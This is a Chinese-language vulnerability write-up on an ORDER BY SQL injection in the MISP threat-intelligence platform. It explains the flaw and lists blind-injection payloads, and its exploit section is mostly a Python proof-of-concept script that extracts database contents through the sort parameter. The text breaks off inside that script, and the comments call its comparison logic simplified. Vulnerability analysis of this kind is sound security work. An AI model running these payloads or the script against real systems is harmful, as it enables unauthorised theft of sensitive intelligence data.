CVE-2026-44381:MISP威胁情报平台ORDERBY子句SQL注入

admin 2026-05-16 05:59:20 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: CVE-2026-44381是MISP威胁情报平台2.5.37之前版本中存在的一个严重SQL注入漏洞,源于事件列表和影子属性列表端点未对用户可控的排序参数进行充分验证,导致攻击者可将任意SQL表达式注入ORDERBY子句。该漏洞无法利用UNION技术,主要依赖盲注进行数据提取,可能泄露平台内存储的高度敏感威胁情报数据。建议受影响用户立即升级至MISP2.5.37或更高版本。 综合评分: 88 文章分类: 漏洞分析,Web安全,应用安全,安全运营,数据安全


cover_image

CVE-2026-44381:MISP 威胁情报平台 ORDER BY 子句 SQL 注入

原创

CVE-SEC CVE-SEC

CVE-SEC

2026年5月14日 13:30 中国台湾

在小说阅读器读本章

去阅读

CVE-2026-44381:MISP 威胁情报平台 ORDER BY 子句 SQL 注入

发布日期:2026-05-14严重等级:CVSS v4 9.3(严重)影响版本:MISP < 2.5.37漏洞类型:SQL 注入(ORDER BY 子句注入)CVE 编号:CVE-2026-44381GitHub Advisory:GHSA-4cxp-22wm-j6jr


一、前言

威胁情报共享平台承载的数据天然具有高度敏感性。各类国家级 APT 活动的指标、在途的 0day 漏洞利用信息、跨组织协作产生的未公开情报——这些数据一旦通过数据库层面的漏洞遭到泄露,其危害不仅针对被攻击的平台本身,更会直接影响到依赖该平台进行威胁共享的整个生态。

CVE-2026-44381 正是此类场景下的一个典型案例。该漏洞存在于 MISP(Malware Information Sharing Platform)2.5.37 之前的版本中,根本成因是事件列表(event listing)和影子属性列表(shadow attribute listing)两个核心端点对用户可控的排序参数(order/sort)未实施充分的输入验证,导致攻击者可以将任意 SQL 表达式注入至 ORDER BY 子句,进而通过盲注技术对底层数据库实施无授权数据提取。

与普通的 SQL 注入相比,ORDER BY 子句注入在防御侧更容易被忽视,在漏洞扫描侧又因无法使用标准 UNION 技术而需要专门的探测手法。这一特性使得 CVE-2026-44381 在评估和利用层面都具有值得深入研究的技术价值。

本文从 MISP 平台架构出发,系统分析 ORDER BY 注入原理、受影响端点的代码逻辑、完整的利用链构造、威胁情报数据泄露的具体危害,以及面向防御侧的检测规则与修复建议,供有技术背景的安全从业者参考。


二、MISP 平台介绍

2.1 平台定位与核心功能

MISP(Malware Information Sharing Platform & Threat Sharing)是由 CIRCL(卢森堡计算机应急响应中心)主导开发的开源威胁情报共享平台,最初为欧盟各国 CERT 之间的恶意软件信息共享而设计,现已成为全球范围内最广泛部署的威胁情报平台之一。

MISP 的核心功能包括:

  • 结构化威胁情报存储:以事件(Event)为核心组织单元,每个事件可包含若干属性(Attribute),属性类型涵盖 IP 地址、域名、URL、文件哈希、电子邮件地址、CVE 编号、YARA 规则、Sigma 规则等数十种类型。
  • 威胁情报共享:支持组织间通过 MISP 联邦机制进行点对点或订阅式的情报同步,共享粒度可细化到单个属性级别。
  • STIX/TAXII 互操作性:原生支持 STIX 1.x/2.x 和 TAXII 协议,可与商业威胁情报平台互通。
  • 影子属性(Shadow Attribute)机制:允许未通过审核的属性以”影子”状态暂存,待管理员审核后正式入库,这是 MISP 协作工作流中的重要机制。
  • REST API:提供完整的 RESTful API 接口,支持自动化集成,CVE-2026-44381 涉及的漏洞端点均可通过 API 访问。

2.2 部署规模与用户群体

MISP 被全球超过 6000 个组织部署使用,用户群体涵盖国家级 CERT/CSIRT、政府机构、金融行业 ISAC、医疗行业 ISAC、国防承包商、电信运营商以及大型企业安全团队。部分部署实例中托管着数以百万计的威胁指标,以及涉及多个国家安全机构的跨境协作情报。

MISP 的广泛部署意味着:一旦某个运行存在漏洞版本的实例遭到入侵,泄露的不仅是该机构自身的情报资产,更可能波及整个情报共享网络中的上下游参与者。

2.3 技术栈

MISP 基于 PHP(CakePHP 框架)开发,后端数据库使用 MySQL/MariaDB。REST API 与 Web 界面共享同一套业务逻辑层,这意味着影响 Web 界面的漏洞通常也会影响 API 端点,反之亦然。CVE-2026-44381 涉及的两个端点(事件列表和影子属性列表)均同时暴露在 Web 界面和 REST API 中。


三、ORDER BY 注入原理:与普通 SQL 注入的核心区别

3.1 参数化查询的边界

现代 SQL 注入防御的基石是参数化查询(Parameterized Query / Prepared Statement)。当应用程序使用参数化查询时,用户输入被作为纯数据值绑定到预编译的查询模板中,数据库驱动程序保证绑定的值不会被解释为 SQL 语法,从而在结构层面杜绝注入。

然而,参数化查询存在一个根本性的局限:SQL 语法中的结构性元素——列名、表名、排序方向、聚合函数名——不能被参数化绑定。参数化绑定仅适用于数据值(字面量),不适用于标识符(identifier)。以下代码演示了这一局限:

// 正确:可以参数化的数据值
$stmt = $pdo->prepare("SELECT * FROM events WHERE org_id = ?");
$stmt->execute([$orgId]);

// 无法参数化:列名不能作为绑定参数
// 以下写法在语法上是错误的,或不会按预期工作:
$stmt = $pdo->prepare("SELECT * FROM events ORDER BY ?");
$stmt->execute([$sortField]);
// 即使语法合法,? 也会被当作字符串字面量处理,导致排序失效

因此,对于排序字段,开发者通常面临两种选择:

  1. 白名单校验:维护一个允许排序的列名列表,将用户输入与列表比对,只有匹配的值才被插入查询。
  2. 直接拼接:将用户输入直接或经过简单处理后拼接到 ORDER BY 子句——这正是 CVE-2026-44381 的根本问题所在。

3.2 ORDER BY 注入的技术特征

ORDER BY 注入在利用技术上与普通 SQL 注入存在重要差异,主要体现在以下几个维度:

(1)无法使用 UNION 技术

在标准的 SELECT 语句 WHERE 子句注入场景中,攻击者通常可以通过 UNION SELECT 技术附加额外的 SELECT 语句,直接在响应中输出目标数据。但 ORDER BY 子句位于 SQL 语句的末尾,语法上不支持直接附加 UNION SELECT,因此这一常用技术在 ORDER BY 注入场景中不可用。

(2)主要依赖盲注技术

由于 UNION 技术不可用,ORDER BY 注入的主要利用手法是盲注,包括:

  • 布尔盲注(Boolean-based Blind):通过在 ORDER BY 子句中注入条件表达式,根据排序结果的变化推断条件真假,逐位提取数据。典型 payload:
  CASE WHEN (条件表达式) THEN 列名1 ELSE 列名2&nbsp;END

当条件为真时按列名1排序,为假时按列名2排序,通过观察返回结果的顺序变化来判断条件结果。

  • 时间盲注(Time-based Blind):通过注入时间延迟函数,根据响应时间推断条件真假。典型 payload:
  (CASE WHEN (条件表达式) THEN SLEEP(5) ELSE 0&nbsp;END)
  • 报错注入(Error-based):在某些配置下,可以通过触发数据库报错将数据包含在错误信息中。典型 payload(MySQL):
  (SELECT&nbsp;1&nbsp;FROM&nbsp;(SELECT&nbsp;COUNT(*),&nbsp;CONCAT((SELECT&nbsp;database()),&nbsp;FLOOR(RAND(0)*2)) x&nbsp;FROM&nbsp;information_schema.tables&nbsp;GROUP&nbsp;BY&nbsp;x) y)

(3)利用效率相对较低

由于无法直接输出数据,盲注通常需要发送大量请求才能提取有价值的数据(逐字符或逐位提取)。但在自动化工具(如 sqlmap)的辅助下,这一局限可以在实践中被有效克服。

(4)更容易被开发者忽视

开发者的安全意识通常聚焦于 WHERE 子句注入(因为这是最经典的注入场景),对 ORDER BY 子句的安全处理往往关注不足。代码审查和安全测试在这一点上同样容易出现盲区。

3.3 MySQL 中 ORDER BY 注入的特殊性

MISP 使用 MySQL/MariaDB 作为后端数据库,MySQL 在 ORDER BY 注入场景下有几个值得关注的特性:

SLEEP() 函数:MySQL 的 SLEEP(N) 函数会使当前查询等待 N 秒,是时间盲注的核心工具。在 ORDER BY 子句中,可以通过 IF(条件, SLEEP(5), 0) 的形式触发条件性延迟。

ELT() 函数ELT(N, str1, str2, ...) 返回第 N 个字符串,可用于在布尔盲注中根据条件控制排序列名,从而在排序结果上体现条件真假。

字段名大小写不敏感:MySQL 默认对字段名大小写不敏感,这在某些白名单绕过场景中可能被利用。


四、受影响端点深度分析

4.1 事件列表端点(Event Listing)

MISP 的事件列表端点是用户访问最频繁的核心功能之一,允许用户按条件筛选和排序已存储的威胁情报事件。

端点路径

  • Web 界面:GET /events/index
  • REST API:GET /events 或 POST /events/restSearch

排序参数传递方式:用户可通过 URL 参数或 POST 请求体中的 sort 或 order 字段指定排序列名。例如:

GET /events/index?sort=date&direction=asc
GET /events/index?sort=threat_level_id&direction=desc

受影响的代码逻辑:在 MISP 2.5.37 之前,事件列表的查询构建逻辑在处理排序参数时,未能对传入的列名实施完整的白名单校验。排序参数在经过不充分的处理后被拼接到 CakePHP ORM 生成的 SQL 查询的 ORDER BY 子句中。

可排序的字段集合:MISP 事件表(events)包含大量字段,包括 idorg_iddistributiontimestampanalysisattribute_countorgc_iduuiddateinfopublishedthreat_level_idlockedpublish_timestamp 等。漏洞的问题在于,用户提供的值不仅限于这些合法列名,任何包含注入 payload 的字符串都可能被传递到 ORDER BY 子句中。

事件表中存储的敏感数据

  • 事件基本信息(标题、描述、威胁等级、分析状态)
  • 组织归属(创建组织、所有组织)
  • 分发限制(Distribution 字段,控制情报的共享范围)
  • 发布时间戳(可用于推断情报时效性)

4.2 影子属性列表端点(Shadow Attribute Listing)

影子属性(Shadow Attribute)是 MISP 协作工作流中的重要机制。当外部贡献者提交新属性时,该属性以”影子”状态存入 shadow_attributes 表,待事件所有者审核批准后才正式升级为属性(attributes 表中的记录)。

端点路径

  • Web 界面:GET /shadow_attributes/index
  • REST API:GET /shadow_attributes 或通过事件详情 API 访问

影子属性的特殊敏感性:影子属性中可能包含尚未经过验证的原始威胁情报,包括:

  • 贡献者提交的原始 IoC(在验证前可能包含噪音或误报)
  • 来自不同组织的情报片段,在正式发布前属于敏感预发布信息
  • 与特定事件关联的上下文信息,可能揭示调查进展

同事件列表端点类似,影子属性列表端点的排序参数处理逻辑存在相同的缺陷——对用户可控的 sort/order 参数未实施充分验证。

4.3 两个端点共享的漏洞模式

从代码审查角度分析,两个端点之所以同时存在漏洞,根本原因在于它们可能共享了同一套(或类似的)查询构建辅助逻辑,或者各自的实现中都存在相同的安全疏忽。这种模式在大型 PHP 应用中并不罕见:工具函数或 Trait 被多处复用,安全修复若只针对特定调用点而非根本的工具函数,则容易遗漏其他调用点。

MISP 2023 年修复的类似漏洞(v2.4.166/v2.4.167)即属于此类情况:局部修复覆盖了当时已知的漏洞点,但同类模式在事件列表和影子属性列表端点中依然存在,直至 CVE-2026-44381 被披露。


五、完整 PoC 分析

以下 PoC 展示了针对 CVE-2026-44381 的概念验证利用过程,面向授权测试场景,用于帮助安全从业者理解漏洞的实际利用方式和风险评估。

5.1 环境准备

前置条件

  • 目标运行 MISP < 2.5.37
  • 攻击者拥有 MISP 的有效认证凭据(任意权限级别的账户均可触发漏洞)
  • Python 3.x 环境,安装 requests 库

身份验证:MISP REST API 通过 Authorization 头传递 API Key,或通过 Cookie(MISP session cookie)进行身份验证。

#!/usr/bin/env python3
"""
CVE-2026-44381 PoC - MISP ORDER BY SQL Injection
影响版本:MISP < 2.5.37
测试端点:/events/index, /shadow_attributes/index
仅供授权测试使用
"""

import&nbsp;requests
import&nbsp;time
import&nbsp;string
import&nbsp;sys
import&nbsp;urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class&nbsp;MISPOrderByInjection:
&nbsp; &nbsp;&nbsp;def&nbsp;__init__(self, base_url: str, api_key: str):
&nbsp; &nbsp; &nbsp; &nbsp; self.base_url = base_url.rstrip("/")
&nbsp; &nbsp; &nbsp; &nbsp; self.session = requests.Session()
&nbsp; &nbsp; &nbsp; &nbsp; self.session.headers.update({
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"Authorization": api_key,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"Accept":&nbsp;"application/json",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"Content-Type":&nbsp;"application/json",
&nbsp; &nbsp; &nbsp; &nbsp; })
&nbsp; &nbsp; &nbsp; &nbsp; self.session.verify =&nbsp;False

&nbsp; &nbsp;&nbsp;def&nbsp;_baseline_time(self, endpoint: str, param: str, value: str)&nbsp;-> float:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"""
&nbsp; &nbsp; &nbsp; &nbsp; 测量正常请求的基准响应时间。
&nbsp; &nbsp; &nbsp; &nbsp; """
&nbsp; &nbsp; &nbsp; &nbsp; url =&nbsp;f"{self.base_url}{endpoint}"
&nbsp; &nbsp; &nbsp; &nbsp; params = {param: value}
&nbsp; &nbsp; &nbsp; &nbsp; times = []
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;_&nbsp;in&nbsp;range(3):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; t0 = time.time()
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; resp = self.session.get(url, params=params)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; elapsed = time.time() - t0
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; times.append(elapsed)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;sum(times) / len(times)

&nbsp; &nbsp;&nbsp;def&nbsp;check_time_based(self, endpoint: str =&nbsp;"/events/index",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; param: str =&nbsp;"sort",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sleep_seconds: int =&nbsp;5)&nbsp;-> bool:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"""
&nbsp; &nbsp; &nbsp; &nbsp; 时间盲注探测:验证端点是否存在 ORDER BY 注入。
&nbsp; &nbsp; &nbsp; &nbsp; 注入 payload:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (CASE WHEN (1=1) THEN SLEEP(N) ELSE 0 END)
&nbsp; &nbsp; &nbsp; &nbsp; 若响应时间显著延迟,则确认漏洞存在。
&nbsp; &nbsp; &nbsp; &nbsp; """
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 正常请求基准时间
&nbsp; &nbsp; &nbsp; &nbsp; baseline = self._baseline_time(endpoint, param,&nbsp;"id")
&nbsp; &nbsp; &nbsp; &nbsp; print(f"[*] 基准响应时间(排序字段=id):{baseline:.3f}s")

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 构造时间盲注 payload
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 当 1=1(恒真)时触发 SLEEP,验证注入点存在
&nbsp; &nbsp; &nbsp; &nbsp; payload_true =&nbsp;f"(CASE WHEN (1=1) THEN SLEEP({sleep_seconds}) ELSE 0 END)"
&nbsp; &nbsp; &nbsp; &nbsp; url =&nbsp;f"{self.base_url}{endpoint}"
&nbsp; &nbsp; &nbsp; &nbsp; params = {param: payload_true}

&nbsp; &nbsp; &nbsp; &nbsp; print(f"[*] 发送时间盲注 payload:{payload_true}")
&nbsp; &nbsp; &nbsp; &nbsp; t0 = time.time()
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; resp = self.session.get(url, params=params, timeout=sleep_seconds +&nbsp;10)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;except&nbsp;requests.exceptions.ReadTimeout:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; elapsed = time.time() - t0
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print(f"[+] 请求超时({elapsed:.1f}s),注入成功——漏洞确认")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;True

&nbsp; &nbsp; &nbsp; &nbsp; elapsed = time.time() - t0
&nbsp; &nbsp; &nbsp; &nbsp; print(f"[*] 响应时间:{elapsed:.3f}s")

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;elapsed >= sleep_seconds *&nbsp;0.8:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print(f"[+] 响应延迟约&nbsp;{sleep_seconds}s,时间盲注确认——漏洞存在")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;True
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print(f"[-] 未检测到显著延迟,端点可能不受影响或已修复")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;False

&nbsp; &nbsp;&nbsp;def&nbsp;extract_char_bool(self, endpoint: str, param: str,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;expression: str, position: int)&nbsp;-> str:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"""
&nbsp; &nbsp; &nbsp; &nbsp; 布尔盲注:逐字符提取 SQL 表达式的值。
&nbsp; &nbsp; &nbsp; &nbsp; 利用 CASE WHEN 控制排序列,通过返回结果的顺序差异推断字符值。

&nbsp; &nbsp; &nbsp; &nbsp; payload 结构:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; CASE WHEN (ASCII(SUBSTRING(({expr}),{pos},1)) > {mid})
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;THEN id
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;ELSE date
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; END

&nbsp; &nbsp; &nbsp; &nbsp; 当条件为真时按 id 升序排列,为假时按 date 升序排列。
&nbsp; &nbsp; &nbsp; &nbsp; 通过对比返回结果中第一条记录的 id 值来判断条件真假。
&nbsp; &nbsp; &nbsp; &nbsp; """
&nbsp; &nbsp; &nbsp; &nbsp; low, high =&nbsp;32,&nbsp;126&nbsp;&nbsp;# 可打印 ASCII 字符范围

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;while&nbsp;low < high:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mid = (low + high) //&nbsp;2
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; payload = (
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;f"CASE WHEN (ASCII(SUBSTRING(({expression}),{position},1)) >&nbsp;{mid}) "
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;f"THEN id ELSE date END"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; )
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; url =&nbsp;f"{self.base_url}{endpoint}"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; params = {param: payload}
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; resp = self.session.get(url, params=params)

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 解析响应:比较按不同列排序时第一条记录的 id 是否更大
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 实际判断逻辑需根据 MISP 版本的响应格式调整
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 此处以简化的响应时间差异作为示意
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; data = resp.json()
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;isinstance(data, list)&nbsp;and&nbsp;len(data) >&nbsp;0:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; first_id_true = data[0].get("Event", {}).get("id",&nbsp;0)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; first_id_true =&nbsp;0
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;except&nbsp;Exception:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; first_id_true =&nbsp;0

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 获取恒假条件的基准排序结果
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; payload_false = (
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;f"CASE WHEN (ASCII(SUBSTRING(({expression}),{position},1)) > 255) "
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;f"THEN id ELSE date END"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; )
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; params_false = {param: payload_false}
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; resp_false = self.session.get(url, params=params_false)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; data_false = resp_false.json()
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;isinstance(data_false, list)&nbsp;and&nbsp;len(data_false) >&nbsp;0:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; first_id_false = data_false[0].get("Event", {}).get("id",&nbsp;0)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; first_id_false =&nbsp;0
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;except&nbsp;Exception:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; first_id_false =&nbsp;0

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 根据排序结果差异判断二分条件
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;first_id_true != first_id_false:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; low = mid +&nbsp;1
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; high = mid

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;chr(low)&nbsp;if&nbsp;32&nbsp;<= low <=&nbsp;126&nbsp;else&nbsp;"?"

&nbsp; &nbsp;&nbsp;def&nbsp;extract_string(self, endpoint: str, param: str,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; expression: str, max_length: int =&nbsp;64)&nbsp;-> str:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"""
&nbsp; &nbsp; &nbsp; &nbsp; 逐字符提取 SQL 表达式结果的完整字符串。
&nbsp; &nbsp; &nbsp; &nbsp; """
&nbsp; &nbsp; &nbsp; &nbsp; result =&nbsp;""
&nbsp; &nbsp; &nbsp; &nbsp; print(f"[*] 开始提取:{expression}")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;i&nbsp;in&nbsp;range(1, max_length +&nbsp;1):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; char = self.extract_char_bool(endpoint, param, expression, i)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;char == chr(0):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; result += char
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print(f"[*] 当前进度({i}&nbsp;字符):{result}", end="\r", flush=True)
&nbsp; &nbsp; &nbsp; &nbsp; print()
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;result

&nbsp; &nbsp;&nbsp;def&nbsp;poc_extract_database_name(self)&nbsp;-> str:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"""
&nbsp; &nbsp; &nbsp; &nbsp; 提取当前数据库名称(演示用途)。
&nbsp; &nbsp; &nbsp; &nbsp; 使用的 SQL 表达式:SELECT database()
&nbsp; &nbsp; &nbsp; &nbsp; """
&nbsp; &nbsp; &nbsp; &nbsp; print("[*] PoC:提取数据库名称(时间盲注验证后执行)")
&nbsp; &nbsp; &nbsp; &nbsp; db_name = self.extract_string(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; endpoint="/events/index",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; param="sort",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; expression="SELECT database()",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; max_length=32
&nbsp; &nbsp; &nbsp; &nbsp; )
&nbsp; &nbsp; &nbsp; &nbsp; print(f"[+] 数据库名称:{db_name}")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;db_name

&nbsp; &nbsp;&nbsp;def&nbsp;poc_extract_misp_version(self)&nbsp;-> str:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"""
&nbsp; &nbsp; &nbsp; &nbsp; 提取 MISP 数据库中存储的版本信息(演示用途)。
&nbsp; &nbsp; &nbsp; &nbsp; 使用的 SQL 表达式:SELECT value FROM server_settings WHERE setting='MISP.version'
&nbsp; &nbsp; &nbsp; &nbsp; """
&nbsp; &nbsp; &nbsp; &nbsp; print("[*] PoC:提取 MISP 版本信息")
&nbsp; &nbsp; &nbsp; &nbsp; version = self.extract_string(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; endpoint="/events/index",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; param="sort",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; expression=(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"SELECT value FROM server_settings "
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"WHERE setting='MISP.version' LIMIT 1"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ),
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; max_length=16
&nbsp; &nbsp; &nbsp; &nbsp; )
&nbsp; &nbsp; &nbsp; &nbsp; print(f"[+] MISP 版本:{version}")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;version

&nbsp; &nbsp;&nbsp;def&nbsp;poc_shadow_attributes(self)&nbsp;-> bool:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"""
&nbsp; &nbsp; &nbsp; &nbsp; 验证影子属性列表端点是否同样存在注入点。
&nbsp; &nbsp; &nbsp; &nbsp; """
&nbsp; &nbsp; &nbsp; &nbsp; print("[*] 测试影子属性列表端点:/shadow_attributes/index")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;self.check_time_based(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; endpoint="/shadow_attributes/index",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; param="sort",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sleep_seconds=3
&nbsp; &nbsp; &nbsp; &nbsp; )

def&nbsp;main():
&nbsp; &nbsp;&nbsp;if&nbsp;len(sys.argv) <&nbsp;3:
&nbsp; &nbsp; &nbsp; &nbsp; print(f"用法:{sys.argv[0]}&nbsp;<MISP_URL> <API_KEY>")
&nbsp; &nbsp; &nbsp; &nbsp; print(f"示例:{sys.argv[0]}&nbsp;https://misp.example.com xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx")
&nbsp; &nbsp; &nbsp; &nbsp; sys.exit(1)

&nbsp; &nbsp; base_url = sys.argv[1]
&nbsp; &nbsp; api_key = sys.argv[2]

&nbsp; &nbsp; print("="&nbsp;*&nbsp;60)
&nbsp; &nbsp; print("CVE-2026-44381 PoC - MISP ORDER BY SQL Injection")
&nbsp; &nbsp; print("仅供授权渗透测试使用")
&nbsp; &nbsp; print("="&nbsp;*&nbsp;60)

&nbsp; &nbsp; poc = MISPOrderByInjection(base_url, api_key)

&nbsp; &nbsp;&nbsp;# 步骤一:确认事件列表端点漏洞
&nbsp; &nbsp; print("\n[阶段 1] 验证事件列表端点(/events/index)...")
&nbsp; &nbsp; vuln_events = poc.check_time_based(
&nbsp; &nbsp; &nbsp; &nbsp; endpoint="/events/index",
&nbsp; &nbsp; &nbsp; &nbsp; param="sort",
&nbsp; &nbsp; &nbsp; &nbsp; sleep_seconds=5
&nbsp; &nbsp; )

&nbsp; &nbsp;&nbsp;# 步骤二:确认影子属性列表端点漏洞
&nbsp; &nbsp; print("\n[阶段 2] 验证影子属性列表端点(/shadow_attributes/index)...")
&nbsp; &nbsp; vuln_shadow = poc.poc_shadow_attributes()

&nbsp; &nbsp;&nbsp;# 步骤三:演示数据提取(仅在漏洞确认后执行)
